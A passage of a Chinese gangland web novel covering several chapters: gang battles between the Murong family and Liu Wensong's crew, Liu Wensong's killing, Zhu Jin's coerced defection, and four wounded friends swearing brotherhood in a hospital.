朱槿心头一跳,急声阻拦:“等等!”梁灿脚步一顿,斜睨着他,语带轻蔑:“怎么着?朱师爷又有何高见?”
朱槿不理他,转向刘文松:“大哥,稳妥起见,还是等……”“行了行了!”刘文松大手一挥,不耐烦地打断,“这事你别管!”又朝梁灿努努嘴,“快去!”梁灿嗤笑一声,鄙夷地扫了朱槿一眼,带着人马消失在夜色中。
梁灿带着五十个如狼似虎的手下,气势汹汹地撞开豪华厅大门。他刀尖一指,狂吼道:“不想死的,都给老子滚!兄弟们,砸!”话音未落,几个小弟已抡起家伙砸向吧台。“慢着!”一个冰冷的声音响起。只见一个穿着黑色风衣的光头青年慢悠悠从阴影里踱出,正是徐飞扬。他无视场内的混乱,身后小弟适时拉开一张椅子。徐飞扬大马金刀地坐下,点上一支烟,吐出一口烟雾,斜眼看着梁灿:“哪条道上的?知道这是谁的地头吗?”
“老子梁灿!”梁灿刀尖几乎戳到徐飞扬鼻子上,“识相的滚开!这地方,爷爷今天砸定了!”“梁灿?”徐飞扬故作惊讶地挑眉,随即爆发出一阵放肆的大笑,“没听过!”
梁灿勃然大怒:“给脸不要脸!砸!”手下们再次动手。
徐飞扬依旧稳坐,深深吸了口烟,烟头在昏暗光线下骤然一亮,随即轻飘飘吐出一个字:“上。”四周阴影里,无声地涌出二十个同样身着黑风衣的汉子,动作迅捷,气息沉凝。梁灿见对方人少,心头一松。然而,这二十人如同二十把出鞘的利刃!他们身手矫健,配合默契,出手狠辣刁钻,招招直取要害!梁灿带来的混混们很快发现不对劲,对方竟是以一敌二甚至敌三!惨叫声、刀刃入肉的闷响、骨头碎裂的脆响瞬间取代了砸场的声音。恐惧开始在混混们眼中蔓延。
梁灿心知不妙,再这样下去非溃散不可!五十人砸不下一个场子,他梁灿以后就别混了!他焦急四顾,目光猛地锁定了稳坐钓鱼台的徐飞扬——擒贼先擒王!几乎同时,徐飞扬将烟蒂狠狠摁在地上,抄起身边一把造型夸张的特制大**,刀锋在灯光下划出一道冷冽的弧光,直扑梁灿!梁灿也怒吼一声,挥刀迎上!
两把沉重的**猛烈撞击,刺耳的金铁交鸣震得人耳膜生疼!巨大的反震力让梁灿虎口剧痛,整条右臂瞬间酸麻!他心中骇然:好大的力气!不等他回气,徐飞扬第二刀已如狂风般扫至!梁灿狼狈地侧身翻滚躲开,徐飞扬的钢靴却如影随形,狠狠踹在他肋下!
梁灿闷哼一声,像个破麻袋般被踹翻在地。剧痛和恐惧攫住了他:这人力量、速度、反应都远超自己!他挣扎爬起,指着徐飞扬嘶吼:“先**他!”徐飞扬嘴角咧开一个残忍的弧度,如同盯上猎物的猛兽,拖刀再次冲上!沉重的**在他手中轻若无物,刀光织成一片致命的网。
豪华厅内,血战正酣。时间在刀光血影中流逝。十分钟后,徐飞扬这边还能站着的,只剩寥寥五六人,个个带伤,如同浴血的孤狼。梁灿身边也只剩十来个惊魂未定的手下。五十人对二十人,竟**得如此狼狈!徐飞扬抹了把溅到脸上的血,眼神凶戾更盛,再次提刀扑向残敌!梁灿已心生怯意,眼前的徐飞扬如同打不死的恶鬼,身上几处刀伤竟似毫无影响!
就在梁灿被逼得连连后退之际,他脚边一个“尸体”突然暴起!一柄冰冷的**精准地架在了他的颈动脉上!梁灿浑身一僵,难以置信这人竟一直装死!“放开灿哥!”残余的小弟惊叫。那人充耳不闻,只看向徐飞扬。
徐飞扬停下脚步,看着梁灿绝望的脸,发出一阵快意的大笑:“无名小卒,终究是垫脚石!今夜之后,我徐飞扬之名将响彻容市!而你”他声音陡然转寒,“直接去投胎吧!杀!”
持刀者手腕猛地一拉!滚烫的鲜血如同喷泉,在迷离的霓虹灯光下飙射出三米多远,溅红了墙壁和地板!梁灿双目圆瞪,喉咙里发出嗬嗬的漏气声,软软倒下。剩下的小弟魂飞魄散,发一声喊,转身就逃。
“一个也别放走!”徐飞扬的声音如同地狱判官。地上又挣扎着站起几个满身是血的黑风衣,他们之前也是诈伤倒地,只为这致命一击!残存的刘文松手下如同待宰的羔羊,很快被一一砍翻。当然,徐飞扬刻意放走了几个吓破胆的,他需要有人把这里的惨状带回去。
酒吧里,刘文松的手机响起,听筒里传来逃命小弟带着哭腔的惊惶声音:“大哥!完了!全完了!灿哥…灿哥让他们**了!兄弟们…兄弟们死伤惨重啊!”刘文松如遭雷击,猛地站起:“对方多少人?!”“二十几个……”“饭桶!一群废物!都他妈别回来了!”刘文松暴怒地将手机狠狠摔在地上,四分五裂!
恰在此时,酒吧门被推开。一男一
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女走了进来。男的一头红发,眼神锐利如鹰隼,带着一股野性的凶悍;女的容貌艳丽,眼神却冷得像冰。正是“五虎战将”中的红眼和无心。红眼看着暴怒的刘文松,嘴角勾起一丝毫不掩饰的鄙夷:“松哥,什么事发这么大火?五十个废物被二十几个打发了?”他语气里的轻蔑,如同尖针刺在刘文松脸上。
红眼一向瞧不起这个草包二爷,仗着身份和实力,从不给他面子。刘文松憋得脸色铁青,却不敢发作,只得强压怒火:“红眼!你带五十个人,再去一趟!把场子给我找回来!”“五十个?”红眼嗤笑一声,活动了下脖子,“杀鸡焉用牛刀?十个人,足够。”说完,他随意点了十个人,转身就走。一旁的无心眉头微蹙,问道:“豪华厅那边,领头的到底是谁?”
刘文松一愣,他根本没问:“不知道!”无心眼中闪过一丝愠怒,暗骂一声废物,沉声道:“很可能是慕容家那位大少爷慕容景云亲自坐镇。红眼太托大了,我带人过去接应。”她可不想红眼栽在这里。刘文松也觉得有理,又拨给她五十人。
旁边一个新来的小弟,许是酒壮怂人胆,小声嘀咕了一句:“女人就该回家带孩子”声音虽小,无心却听得真切。她身形一闪,众人只觉眼前一花,接着便是一声凄厉到不似人声的惨叫!那小弟捂着裆部,眼球暴凸,直挺挺地栽倒在地,昏死过去。整个酒吧瞬间死寂,所有男人都下意识夹紧了双腿,冷汗涔涔。无心冷哼一声,甩了甩及腰的长发,带着人快步离开。
慕容景云隐在酒吧对面的阴影里,将一切尽收眼底。看到红眼只带十人离开,他心头一紧。他此行目标本是刘文松,带的人手不多。若此刻强攻酒吧,里面剩下的力量加上刘文松,胜负难料。就在他飞速权衡时,酒吧地下车库出口亮起车灯。一辆接一辆的金杯面包车鱼贯而出。慕容景云默数:六辆。这意味着,酒吧里只剩下刘文松和少量核心护卫。
他眼中寒光一闪,迅速掏出手机,给埋伏在通往豪华厅必经之路上的心腹兄弟王彪发去一条短信:“大鱼离巢,六车。红眼在前,无心在后。截杀。”路边阴影中,王彪看着手机屏幕亮起,嘴角咧开一个兴奋的弧度。他摩挲着手中那把造型奇特的武器,一柄双头剑,剑柄居中,两边剑刃狭长,刻着放血的血槽,寒光凛冽。他低声下令:“准备,客人到了。”
在通往豪华厅的半途,红眼和无心的车队疾驰。突然,“噗噗噗”几声闷响,伴随着车身剧烈颠簸!轮胎爆了!
“妈的!有埋伏!”红眼和无心同时推门下车,看到路上撒满了尖锐的路钉!两人脸色骤变,都是道上腥风血雨闯过来的,瞬间明白中了圈套!
“抄家伙!”红眼暴喝一声,从车里拽出他那柄沉重的开山大刀,刀身宽厚,杀气腾腾。无心则反手从后腰抽出两把狭长的双刀,刀光如秋水,映着她冰冷的眸子。
“哈哈哈!双刀无心,开山红眼!刘文殊的五将,竟然让我王彪遇上了!真是三生有幸啊!”伴随着一阵狂放的笑声,王彪的身影出现在路灯光晕边缘。紧接着,四周阴影里涌出密密麻麻的人影,足有上百,将爆胎的车队和红眼、无心带来的几十人死死围在路中央!红眼循声望去,只见一个二十多岁的青年扛着那柄奇特的双头剑,眼神如电。无心目光扫过王彪的武器,瞳孔微缩,娇声却冰冷地道破他的身份:“原来是慕容家的‘战虎’王彪,久仰大名。”
红眼啐了一口,根本没兴趣寒暄,大刀一横,咆哮道:“兄弟们!别管车了!往回杀!撕开个口子!”王彪狂笑一声,双头剑在手中挽了个凌厉的剑花:“想走?晚了!阎王点名,一个不留!”话音未落,他身形如电,那柄带着血槽的双头剑,化作两道致命的寒光,直刺红眼咽喉与心口!大战,瞬间引爆!
第十六章:血战落幕
红眼眼中凶光一闪,手中大刀毫无征兆地便朝王彪当头劈下!王彪年纪虽轻,一身功夫却绝非按年岁计算。经验丰富的他反应极快,身体猛地向前一倾,肩膀精准地抢入红眼持刀手臂的正下方。这一倾,不仅让大刀的锋刃堪堪掠过空处,更让红眼感觉手腕猛地一震,刀势落空的反噬力道不容小觑!
王彪心中盘算精妙,但红眼也非庸手。这一刀他并未用上十成力。常在刀口舔血的人都明白,十分力必得用在十拿九稳之时。是以手腕虽震,红眼并未受伤。然而王彪的杀招紧随其后!他那柄奇异的双头剑一直卡在红眼腋下死角,此刻王彪手腕一抖,剑锋向上猛地一撩!眼看红眼就要中招,千钧一发之际,只听“当啷”一声刺耳锐响,一旁的无心双刀交叉,险之又险地架住了这致命一撩!
红眼惊出一身冷汗,借势向后疾退一步,拉开距离,口中冷哼道:“小子身手倒还利索!再让你领教领教你红眼爷爷的快刀!”话音未落,他已再次提刀扑上。无心在一旁沉声提醒:“红眼,莫要轻敌!”但红眼哪里听得进去?在他看来,一个二十出头的毛头小子,方才不过是自己一时大意才让其占了点便宜。他心中已有计较:对付长剑,贴身近战便是破解之法!只要欺近身去,剑的长处便无从施展。
红眼看准这点,刀光霍霍,招招不离王彪近身要害。无心则如鬼魅般在侧翼游走,双刀不时刁钻地刺出,专攻王彪难以兼顾的空档。王彪顿时陷入以一敌二的苦战,左支右绌。几个回合下来,王彪的胳膊已被无心的双刀划开了好几道口子,鲜血染红了衣袖。就在这危急关头,王彪身形猛地向后一扯,作势欲退。红眼岂肯放过这“破绽”?他眼中厉色一闪,抓住这稍纵即逝的时机,大刀带着呼啸的风声全力上撩斩去!然而这竟是王彪的诱敌之计!只见他后扯之势骤然停滞,身体如绷紧的弓弦般瞬间反弹前冲,手中双头剑化作一道寒光,直刺红眼胸膛!
红眼大惊失色,仓促间竭力闪避,终究慢了一线。“噗嗤”一声,剑尖狠狠贯入他身体!万幸避开了心脏要害。王彪见一击得手,正欲拔剑再攻,却见红眼脸上闪过一丝狞笑,竟不顾剧痛,身体反而向前一顶,死死夹住剑身,同时用尽力气嘶吼道:“快!砍他!”
无心早已蓄势待发,闻声毫不迟疑,双刀如毒蛇出洞,带着刺骨寒意直取王彪要害!王彪心知拔剑已来不及,当机立断弃剑,一个狼狈的翻滚堪堪躲开这致命双刀。可他万万没料到,红眼的狠辣远超想象!就在王彪弃剑翻滚、身形未稳之际,红眼强忍剧痛,反手抡起自己沉重的大**,一记势大力沉的侧劈横扫而来!
王彪旧力已尽,新力未生,再难完全躲闪。“嗤啦”一声闷响,刀锋狠狠砍中他的右臂!所幸是反手发力,力道未能尽数发挥,这一刀没能斩断臂膀,但深可见骨的创伤和剧烈的疼痛,已让王彪彻底失去了再战之力,眼前阵阵发黑。
就在这生死一线的绝望时刻,一只沉稳的手掌突然从后方拍在了王彪未受伤的肩膀上!王彪惊骇欲绝,以为敌人偷袭,求生的本能让他不顾一切地拧腰发力,一个后空翻的同时,左腿如钢鞭般带着风声狠狠向后侧踢而出!然而,这凌厉的一击却被来人仅仅用一条手臂随意一挡,便轻松卸去了所有力道。王彪落地踉跄站稳,惊魂未定地望去,映入眼帘的竟是陈海那张带着一丝无奈笑意的脸。
“臭小子,要不是我,你这条小命今天就交待在这儿了。”陈海的声音沉稳有力,“跟人拼命的时候,连自己身后都不顾了?”王彪看清来人,顿时满脸羞愧,低声叫道:“海叔”陈海不再多言,目光如电扫过混乱的战场,猛然提气大喝:“速战速决!”这声音如同洪钟,瞬间点燃了己方帮众的斗志!原本就占着人数优势的他们,此刻见己方“战神”亲临,更是如同打了鸡血,个个奋勇争先,喊杀声震天。
红眼和无心背靠着背,看着如狼似虎扑来的敌人和陈海那如山岳般的身影,心知今晚大势已去,任务注定失败。红眼猛地一咬牙,对无心低吼道:“我断后!你快走!”说着,他竟不顾插在身上的双头剑,伸出沾满鲜血的手就要去拔!无心却决然地摇了摇头,双刀紧握,眼神凝重地盯着陈海:“想走?晚了!那是‘战神’陈海!”红眼眼中闪过一丝疯狂,咧嘴一笑,鲜血从嘴角溢出:“呵,看出来了!那就一起上!黄泉路上也有个伴!”话音未落,两人竟爆发出最后的凶悍,不顾一切地朝陈海猛扑过去!
陈海嘴角勾起一丝冰冷的弧度,将王彪轻轻向后一推:“退后!”只见他双脚不丁不八,双臂看似随意地左右一分,摆出一个门户大开的奇异架势。红眼和无心眼中凶光爆射,以为有机可乘,一人挥刀直劈中路,一人双刀分取左右肋下,配合默契,攻势凌厉!
然而,就在刀锋及体的刹那,围观众人只觉眼前一花!陈海的身影仿佛化作两道残影,两只手如同铁钳般精准无比地扣住了红眼和无心持刀的手腕!紧接着,他双臂微微一抖,一股沛然莫御的劲力骤然爆发!
“当啷!当啷!”红眼的大**和无心的一柄短刀同时脱手坠地!无心反应极快,左手仅剩的短刀毫不迟疑,毒蛇般刺向陈海腰眼!但陈海的动作更快!他仿佛早有预料,扣住无心右手腕的力道不变,右腿却如闪电般弹起,脚尖精准无比地
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踢在无心左手腕的麻筋上!最后一柄短刀也应声落地!陈海动作行云流水,踢飞短刀的同时,身体顺势前倾,双臂如同游龙探爪,闪电般扣住了红眼和无心的咽喉,正是其成名绝技“擒龙手”!两人的要害被制,瞬间僵在原地,浑身气力仿佛被抽空。陈海看着两人因窒息而涨红的脸,声音冰冷:“身手不差,可惜跟错了主子。还有什么遗言?”
红眼满脸桀骜,挣扎着从喉咙里挤出嘶哑的声音:“少废话!给爷爷个痛快!”无心则惨然一笑,眼神空洞,不发一言。陈海眼中掠过一丝不易察觉的惋惜,随即五指猛然发力!“咔嚓!”两声清脆又令人毛骨悚然的骨裂声几乎同时响起。红眼和无心的头颅无力地歪向一边,眼中最后的神采迅速黯淡下去。**开手,两具尸体软软瘫倒在地。
“打扫战场。”陈海的声音恢复了惯常的沉稳,却带着不容置疑的威严,“把他们送回去,记住,不得有辱尸之举,违者,帮规处置!”说完,他转身便欲带人离开。
这时,捂着伤臂、脸色苍白的王彪挣扎着上前一步:“海叔!我也要去!”陈海停下脚步,回头看着他,语气不容商量:“想要你这条胳膊,就立刻去医院!要不是家主算准了红眼无心会来,特意派我接应,你此刻已是刀下亡魂。战斗结束了,回去养伤!”王彪看着陈海不容置疑的眼神,纵然满心不甘,也只能咬牙应道:“是。”随即在同伴搀扶下,踉跄着退去。
与此同时,慕容景云带领的另一路人马,已然如猛虎下山般冲进了目标KTV。与王彪那边的险象环生不同,慕容景云这边的行动堪称势如破竹。包厢内,刘文松正左拥右抱,沉浸在美酒笙歌之中。一个手下连滚爬爬地撞开门,惊恐地嘶喊:“大哥!不好了!外面全是人!”
刘文松被搅了兴致,没好气地骂道:“废话!KTV里本来就全是人!慌什么!”那手下喘着粗气,声音都变了调:“不是!是敌人!黑压压的全是敌人!已经打进来了!大哥快跑啊!”
包厢里瞬间炸开了锅!音乐骤停,陪酒女尖叫着躲闪,手下们乱作一团。刘文松脸色剧变,猛地推开身边的女人,一咬牙吼道:“都他妈给老子安静!撤!”
“撤?”他话音未落,只听“轰隆”一声巨响,厚重的包厢门竟被人一脚踹得四分五裂!木屑纷飞中,一个身影提着寒光闪闪的单刀,闲庭信步般走了进来,脸上挂着一抹戏谑的微笑。“谁说都进来了?”来人声音清朗,带着浓浓的嘲讽,“这不才进来爷爷我一个么?要是在我们那儿,你这可算谎报军情,得剁碎了喂狗!”来人不是别人,正是单刀赴会、气势逼人的慕容景云!
第十七章:刘文松末路
刘文松看清闯进来的人影,先是一愣,随即恶狠狠地剜了那个报信的小弟一眼。那小弟被他眼神里的凶戾吓得浑身筛糠,牙齿咯咯打颤,结结巴巴地辩解:“大哥!真的好多人!黑压压的”,刘文松哪有心思再理会他?他强压下心头的惊悸,色厉内荏地冲着门口那个提刀的青年吼道:“臭小子!**是谁?!”
慕容景云脸上依旧挂着那副人畜无害的灿烂笑容,仿佛不是闯入龙潭虎穴,而是来串门访友。他目光在混乱的包厢里扫了一圈,完全无视了刘文松的质问,自顾自地扬声问道:“哪个是朱槿?”这突兀的问题让刘文松和缩在角落的朱槿都懵了,面面相觑。
慕容景云何等机敏?只一眼,便从那瞬间的表情变化锁定了目标,一个看似平静却眼神闪烁的中年男人。“你……”刘文松被对方赤裸裸的无视彻底激怒了,脸上肌肉抽搐,猛地一挥手:“给老子拿下他!”几乎在他话音落下的同时,慕容景云脸上的笑容如同冰雪消融,瞬间冻结、碎裂!取而代之的是一种令人骨髓发寒的杀意!那双原本带着笑意的眼睛,此刻幽深得如同寒潭古井,翻涌着难以言喻的冰冷、暴戾,甚至还有一丝病态的渴望?像极了传说中盯上猎物的凶兽。这眼神比张霆琛对付徐坤时更甚,里面蕴含的东西复杂得令人窒息。唯一清晰的讯号是:他要开杀戒了!
离得近的几个打手被这眼神一刺,竟不由自主地后退了半步,脊背发凉。刘文松也被那眼神慑得心头一哆嗦,但他立刻用更大的咆哮掩盖恐惧:“杀了他!老子赏十万!现金!!”
重赏之下,必有勇夫。短暂的迟疑被金钱的诱惑冲垮,包厢里剩下的打手们嚎叫着,抓起酒瓶、**,如同被激怒的狼群,疯狂地扑向慕容景云!就在包厢内杀声震天、女人尖叫刺破耳膜的同时,门外走廊的长椅上,歪歪斜斜坐着几个慕容家的人。他们听着里面传出的拳脚碰撞声、刀刃入肉的闷响、凄厉的惨叫,以及持续不断的玻璃碎裂声,竟然悠闲地开始了计数:“一、二、三……十……二十……三十……四十五……”当数到“四十六”时,一个尖嘴猴腮的家伙猛地跳起来,兴奋地挥舞拳头:“四十六!老子赢了!给钱给钱!!”其他人懊丧地啐了一口:“妈的!又让你小子蒙着了!真他娘邪门儿!”这“四十六秒”,正是慕容景云在狭小包厢内,将刘文松最后负隅顽抗的打手彻底解决干净的时间!
包厢内,震耳欲聋的打斗声戛然而止,只剩下女人压抑的啜泣和浓得化不开的血腥味。地上横七竖八躺满了痛苦**或彻底没了声息的人体。站着的,只剩下三个:瘫在真皮沙发里、面如死灰的刘文松;脸色微白却努力维持镇定的朱槿;以及角落里一个仿佛置身事外的男人,他的怀里还搂着个吓傻了的陪酒女,正旁若无人地在她颈间啃噬着。
慕容景云随手扯过一张还算干净的桌布,慢条斯理地擦拭着手上和溅到脸颊上的粘稠血迹。他踱到刘文松面前,居高临下地看着他,嘴角勾起一丝嘲弄:“刘二爷,这结果,后悔吗?”刘文松喉咙里发出嗬嗬的声响,身体像一滩烂泥陷在沙发里,连根手指都动弹不得。
空气中弥漫着铁锈般的腥甜,而包厢那套昂贵的音响系统,竟还在不知死活地循环播放着一首过时的老歌《战无不胜》:“哪个叫做正义哪个战无不胜…对错正邪却难定…哪个有权决定天地自能做证…不管有什么背景…只手一遮天怎看见反面……”歌词里的狂妄与此刻的惨烈景象,形成无比辛辣的讽刺。
慕容景云不再看这滩烂泥,转向朱槿,声音平淡却带着不容置疑的力量:“跟着这种废物,屈才了。跟我走,有你的舞台。”朱槿深吸一口气,竟真的在染血的沙发扶手上坐了下来,脸上露出一丝近乎戏谑的笑容:“呵,料到会有这么一天。想让我跟你?行,放了我家二爷。”他手指点了点瘫软的刘文松。
慕容景云也随意找了个还算完好的单人沙发坐下,翘起二郎腿,手指轻轻敲击着扶手,语气轻松得像在谈一笔买卖:“换一个。他,必须死。或者”他话锋一转,目光锐利如刀,“你可以选择要你的老婆孩子平安。”朱槿脸上的笑容瞬间僵住,瞳孔猛地收缩,一股怒火直冲天灵盖:“慕容景云!**的还是不是人?!”
慕容景云立刻抬手做了个“打住”的手势,慢悠悠地解释:“别激动,你误会了。你那对宝贝疙瘩,早就被这位‘仁义’的刘二爷捏在手里当人质了。我们的人,好心把他们‘请’出来了,现在很安全。只要你点头,马上就能一家团聚。如果你不答应”他耸耸肩,露出一个近乎无赖的笑容,“我们也没义务继续当好人,立刻原封不动地‘物归原主’。”
朱槿脸上的血色瞬间褪尽,他猛地转头看向刘文松,眼神里充满了震惊、愤怒和被彻底愚弄的**。他死死盯着刘文松几秒,然后,对着那个瘫软如泥的身影,深深地、充满复杂意味地鞠了一躬:“二爷!对不住了,为了孩子,我保不住您了!”
刘文松仿佛抓住了最后一根稻草,指着慕容景云,声音嘶哑颤抖,“你是慕容家的大少爷慕容景云?!”慕容景云刚端起一杯没洒完的酒抿了一口,闻言“噗”地一声全喷了出来,他抹了抹嘴,像看**一样看着刘文松:“操!现在才认出来?你这二爷当得,蠢得真够清新脱俗!”
谁知,刘文松脸上突然挤出一个比哭还难看的谄媚笑容,挣扎着坐直了一点:“原来是景云贤侄!大水冲了龙王庙啊!你爹慕容先生他老人家还好吧?他都不敢真把我怎么样的!你得放了我!必须放了我!”他
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仿佛找到了免死金牌,语无伦次地强调着。
“哈哈哈哈”慕容景云像是听到了天大的笑话,放声大笑起来,门外也传来一阵哄笑声。他笑够了,眼神骤然转冷,不再看刘文松,只盯着朱槿:“答应,还是不答应?”朱槿缓缓站起身,迎着慕容景云的目光,沉声道:“云少。”这两个字,便是他的投名状。
慕容景云满意地点点头:“不错,合格了。今天你要是绝口不提放刘文松”他顿了顿,声音带着冰碴,“你也要下去陪他。我慕容景云要的,不只是有脑子的,更要懂得知恩图报、讲点义气的人。”说完,他不再停留,转身就往门口走去。经过角落那个一直抱着女人的男人时,他脚步一顿:“胡廷风,这回情报做得漂亮。刘文松这猪头,送你了,值十万呢,别让我这帮饿狼兄弟抢了先。”原来这看似沉迷女色的家伙,竟是慕容家埋在刘文松身边多年的暗棋,胡廷风!
胡廷风一把推开怀里的女人,脸上那副玩世不恭的表情瞬间收敛,他站起身,朝着慕容景云的背影郑重地抱拳一揖,嬉皮笑脸地应道:“谢大少爷奖赏!”
此刻的刘文松,彻底成了砧板上待宰的鱼肉。他绝望地看着慕容景云的背影,爆发出最后一丝力气,连滚带爬地扑过去,嘶声哭喊:“你不能杀我!慕容景云!你爹都不敢杀我!我哥刘文殊会给我报仇的!他会把你们慕容家…”
他的话戛然而止!只见胡廷风眼神一厉,俯身抄起地上一把沾血的**,毫不犹豫地从刘文松的后心狠狠捅了进去!“***!忍你这头蠢猪很久了!死到临头还他妈认不清形势!”胡廷风骂骂咧咧地猛地抽刀。刘文松身体一僵,眼中的光彩迅速熄灭,“噗通”一声栽倒在地,鲜血迅速在他身下洇开一大片暗红。
慕容景云与朱槿一前一后走出弥漫着血腥和死亡气息的包厢。慕容景云甚至没回头看一眼,只是对守在门口、一脸兴奋的手下随意吩咐道:“里头的女人,玩够了记得处理干净,留着是祸害。把‘垃圾’都收拾利索点。”语气平淡得就像在说扔掉一袋厨余。
“是!云少!”几个手下亢奋地应声,摩拳擦掌地涌了进去。站在慕容景云身后的朱槿,听着这轻描淡写的死亡判决,只觉得一股寒气从脚底板直冲天灵盖,头皮阵阵发麻,后背瞬间被冷汗浸透。他无比庆幸自己刚才的选择,否则,地上那堆“垃圾”里,必然有他一份。
消息如同长了翅膀的瘟疫,没隔多久就传回了千里之外的吉市。他的亲哥哥刘文殊接到噩耗,先是如遭雷击般呆立当场,随即发出野兽般凄厉痛苦的哀嚎!他死死攥着电话,指关节捏得发白,双目赤红欲裂,对着虚空发出泣血的毒誓:“慕容景云!慕容家!我要你们血债血偿!我要你们所有人给我弟弟陪葬!!!”
第十八章:病房结义
硝烟味似乎还粘在鼻腔里,一夜鏖战的疲惫像铅块一样坠着四肢。天蒙蒙亮,慕容景云就跟着师傅陈海踏进了弥漫着消毒水和血腥味的病房走廊。首要目标,自然是王彪和他新收的小弟徐飞扬。
慕容景云心里那点满意劲儿压不住地往上冒。倒不是因为刘文松那条命,而是徐飞扬这小子真行!二十条汉子硬生生啃下五十人的硬骨头,这份能耐,够亮眼!
病房门一推开,“云少!”“海叔!”的喊声此起彼伏,挤在床边、凳上的伤号们挣扎着要起来。慕容景云一摆手,声音不高却带着不容置疑的份量:“都老实坐着,把伤包利索了。”他目光扫过众人,径直走到徐飞扬床边,从烟盒里弹出一支烟,递过去:“抽不?”
徐飞扬愣了一下,没推辞,伸手就接。刚摸出火机,却见慕容景云“啪”一声,自己先打着了火,凑到他面前。那一簇跳跃的火苗映在徐飞扬眼里,他下意识地微微倾身凑过去,烟头燃起的瞬间,指尖竟有些微不可察的轻颤。这待遇,周围顿时响起一片压抑的吸气声,眼神里全是惊愕和艳羡。
慕容景云吐出一口薄烟,看着徐飞扬,嘴角勾起一丝极淡的弧度:“干得不错。”声音不高,却像锤子敲在人心上。“伤养利索了,到别墅找我。”说完,他利落地转身,毫无征兆地抬腿就给了旁边病床上的王彪一脚,正踹在他裹着纱布的大腿上。
“嗷!”王彪猝不及防,痛呼出声。
“你小子!”慕容景云声音陡然拔高,带着火气,“这几天是不是他妈快死在女人肚皮上了?啊?让‘五猫战将’里最不中用的两个货,差点卸了你一条膀子?丢人现眼!”他指着王彪的鼻子骂,“后天就给老子滚到训练场去!骨头松了?老子给你紧紧!”
骂完,慕容景云看也不看龇牙咧嘴的王彪,随手又甩了根烟过去,正落在他胸口,然后头也不回地大步流星走了出去。
王彪呲牙咧嘴地揉着被踹疼的腿,脸上却一点恼意都没有,反而嘿嘿笑起来,冲着门口嚷道:“死女人身上?老子乐意!”病房里紧绷的气氛瞬间被这句浑话戳破,爆发出哄堂大笑。王彪高中就跟着慕容景云,整整六年风里来雨里去,过命的交情,这份敢在太岁头上动土的底气,满屋子也就他独一份。
慕容景云的脚步声刚消失在走廊尽头,王彪就龇着牙蹭到徐飞扬床边,挤眉弄眼:“行啊,飞扬!恭喜了!”
徐飞扬还有些懵:“彪哥,喜从何来?”
王彪美滋滋地点上慕容景云丢给他的那支烟,深深吸了一口,烟雾缭绕中压低声音:“嘿,云哥亲自点烟,这待遇可不常有!说明你小子今天这活儿,干到他心坎儿里去了!十万块奖金,跑不了!这还不是最紧要的,”他凑得更近,声音里透着神秘,“让你去别墅!懂吗?这等于一只脚踏进慕容家的门坎里头了!”
徐飞扬心头猛地一跳,呼吸都急促了几分:“多谢彪哥提点!”
“别!可别!”王彪连连摆手,一脸认真,“按年纪,我得喊您一声哥!不过啊,飞扬哥,你也甭高兴太早。进别墅算个啥?顶多算个入场券!真正的登堂**,是能让慕容老爷子,云哥他爹亲自给你派活儿!那才叫真金白银的认可!眼下明面上能让老爷子点头的,除了海叔,掰着指头数不出第二个!所以啊,路还长,悠着点,接着拼!”
徐飞扬默默消化着这番话,慕容家这森严的等级像一张无形的网,但他此刻心头也涌起一股灼热,至少,他有了炫耀的资本。周围那些小弟早已围拢过来,七嘴八舌地道贺,脸上堆满了热切的笑容,眼神里闪烁着攀附的光芒,谁不想沾沾新贵的东风,找个牢靠的大树?
慕容景云这边事了,城市的另一端,张霆琛刚在医院走廊的尽头挂断电话。他对着手机那头只简单说了句:“薛妈,我今晚不回了,在医院守着他们。”电话那头的薛妈也只平静地回了一句:“知道了,注意安全。”声音里听不出波澜,想必那场风波的消息,早已传遍了每个角落。
收起手机,张霆琛转身推开病房门。人还没完全进去,就听见苏旭杀猪般的嚎叫穿透门板:“嗷!啊!嗯嗯!轻点!医生您轻点啊!”
正在给他处理伤口的小护士被他逗得抿嘴直乐,手上动作没停,温声细语地纠正:“别嚎啦,我镊子还没挨着你呢!还有啊,我是护士,不是医生。”
旁边病床上,吊着一只胳膊的陈曦没好气地白了他一眼:“瞧你那点出息!鬼哭狼嚎的!看看我,为了救你这小身板儿,胳膊都让人给卸了!”
苏旭立刻梗着脖子反驳:“嘿!要不是我苏大侠天神下凡,关键时刻替你挡了那记开山掌,你这哑巴亏吃到姥姥家都没处说理去!英雄救美懂不懂?”他那副得意又赖皮的样子,让陈曦刚升起的一点感激瞬间烟消云散,气得牙痒痒,想道谢的话硬是卡在喉咙里吐不出来。
张霆琛倚在门框上,看着这活宝二人组,脸上露出温暖的笑意:“行了行了,小两口床头打架床尾和,消停点。瞅瞅,今天伤最重的可是咱们辰浩。”他指了指隔壁病床安静躺着的李辰浩。
“谁跟他/她是小两口!”陈曦和苏旭异口同声地炸毛。陈曦更是气鼓鼓地指着苏旭:“班长!都是你!肯定是你把班长带坏了!”
苏旭一脸冤枉:“天地良心!关我啥事?那分明
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是曦姐你平日里压迫太甚,班长大人终于揭竿而起了!”
陈曦二话不说,伸出完好的那只手,精准地掐在苏旭裹着纱布的伤口边缘。
“嗷!!**亲……不对,**战友啊!”苏旭顿时疼得五官移位,惨叫连连。
看着这熟悉又闹腾的场景,病床上的李辰浩和门边的张霆琛相视一笑,心底涌动着暖流。这份吵吵闹闹却无比真挚的友情,正是他们此刻最渴望的慰藉。李辰浩撑着坐起身,苍白的脸上带着一种郑重的光芒,声音不大却清晰地响起:“咱们拜把子吧?”
张霆琛和苏旭眼睛瞬间亮了,毫不犹豫:“好!”
陈曦却蹙起秀眉:“拜把子?我可是女生啊?”
苏旭立马接茬,嬉皮笑脸:“没事儿!以后你就是咱四妹!哥哥们保管把你当亲妹子疼!”
陈曦刚要反驳,张霆琛笑着打断这即将开始的斗嘴:“好了好了!这事儿定了!现在,报生辰八字!”四个人七嘴八舌一通核对,结果出炉:苏旭最小,陈曦次之,老大是李辰浩,张霆琛排第二。
陈曦一听,乐得眉毛都要飞起来,冲着苏旭扬下巴:“听见没?四弟!还不快扶姐姐起来行大礼?以后姐罩着你!”
苏旭撅着嘴,一脸不情愿,但还是小心翼翼地搀扶起陈曦。李辰浩不知从哪里摸出四根烟,整齐地立在窗台上,一一点燃。昏黄的灯光下,四缕青烟袅袅升起。他撕下一张病历纸,刷刷写下誓词。
四个人,带着伤,忍着痛,齐齐跪在冰凉的地板上,面朝着窗外渐渐亮起的晨曦。李辰浩的声音沉稳有力:“我,李辰浩!”
张霆琛紧随其后,声音坚定:“我,张霆琛!”
陈曦深吸一口气,带着少女的清脆与决绝:“我,陈曦!”
苏旭收起了嬉笑,前所未有的认真:“我,苏旭!”
